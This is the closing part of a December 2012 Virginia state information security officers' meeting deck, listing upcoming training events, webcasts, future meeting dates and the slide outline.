Topic: Securing the Human
When: Tues, Dec 18

Time: 3pm

This webcast will include more information on
purchasing, FAQs, and the training program itself.

This event requires registration.

Register Here:

http://alliance.cisecurity.org/opportunity/sans-securing-the-human-
purchasing-opportunity.cfm
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AITR Meeting:

Wednesday, December 12th
8:30 am — 9:00 am: Networking
9:00 am: Meeting start

Location: CESC



m Virginia Information Technologies Agency

Auditing Cloud Services
Instructor: David Cole (SysAudits)

Date: January 29 & 30, 2013

Time: 8:15-4:45

Location: James Monroe Building
DOE Conf. Rm., 22nd FL

Cost: $ 320.00

Register: https://hrtraining.doa.virginia.gov



m Virginia Information Technologies Agency

Jan 9 1:00 — 4:00 pm @ CESC

Keynote Speaker: David Frei, Capitol One
on “Mobile Device Risk Assessment”

Feb 6 1:00 —4:00 pm @ CESC
Keynote Speaker: Dr. Ron Ross, NIST

ISOAG meets the 1st Wednesday of each month in 2013




m Virginia Information Technologies Agency
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e |f your group or organization is promoting
a security related event and would like to
have it communicated to the Information
Security Officer community:

Please submit all upcoming events to:
CommonwealthSecurity@VITA.Virginia.Gov
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ISOAG-Partnership Update

IT Infrastructure Partnership Team
Bob Baskette

Dec 5, 2012

' INFRASTRUCTURE
PARTNERSHIP

V' A NORTHROP GRUMMAN



|
v A Virginia Information Technologies Agency

ADJOURN

80



	Commonwealth �Information Security Officers Advisory Group (ISOAG)  Meeting
	ISOAG December 2012 Agenda
	Slide Number 3
	Slide Number 4
	Slide Number 5
	Slide Number 6
	Slide Number 7
	Slide Number 8
	Slide Number 9
	Slide Number 10
	Slide Number 11
	Slide Number 12
	Slide Number 13
	Slide Number 14
	Slide Number 15
	Slide Number 16
	Slide Number 17
	Slide Number 18
	Slide Number 19
	Slide Number 20
	Slide Number 21
	Slide Number 22
	Slide Number 23
	Slide Number 24
	Slide Number 25
	Slide Number 26
	Slide Number 27
	Slide Number 28
	Slide Number 29
	Slide Number 30
	Slide Number 31
	Slide Number 32
	Slide Number 33
	Slide Number 34
	Slide Number 35
	Slide Number 36
	Slide Number 37
	Slide Number 38
	�2012�Commonwealth Security Annual Report�
	§ 2.2-2009
	Detailed Agency Information Security - 2012 Overall Audit Program Scores
	Detailed Agency Information Security - 2012 Overall Audit Program Scores      Con’t
	Detailed Agency Information Security - 2012 Overall Audit Program Scores      Con’t
	Slide Number 44
	Slide Number 45
	Slide Number 46
	Slide Number 47
	Slide Number 48
	Slide Number 49
	Slide Number 50
	Slide Number 51
	Slide Number 52
	Slide Number 53
	Slide Number 54
	Slide Number 55
	Slide Number 56
	Slide Number 57
	Slide Number 58
	Slide Number 59
	Slide Number 60
	Slide Number 61
	Slide Number 62
	Slide Number 63
	Slide Number 64
	Slide Number 65
	Slide Number 66
	Slide Number 67
	Slide Number 68
	FAQ!
	Questions ??????
	Slide Number 71
	General Assembly 
	CIS/MS-ISAC & SANS
	CIS/MS-ISAC/SANS Webcast
	AITR Meeting
	DSIA Training
	Future ISOAG Dates
	Submit Events	
	Slide Number 79
	ADJOURN

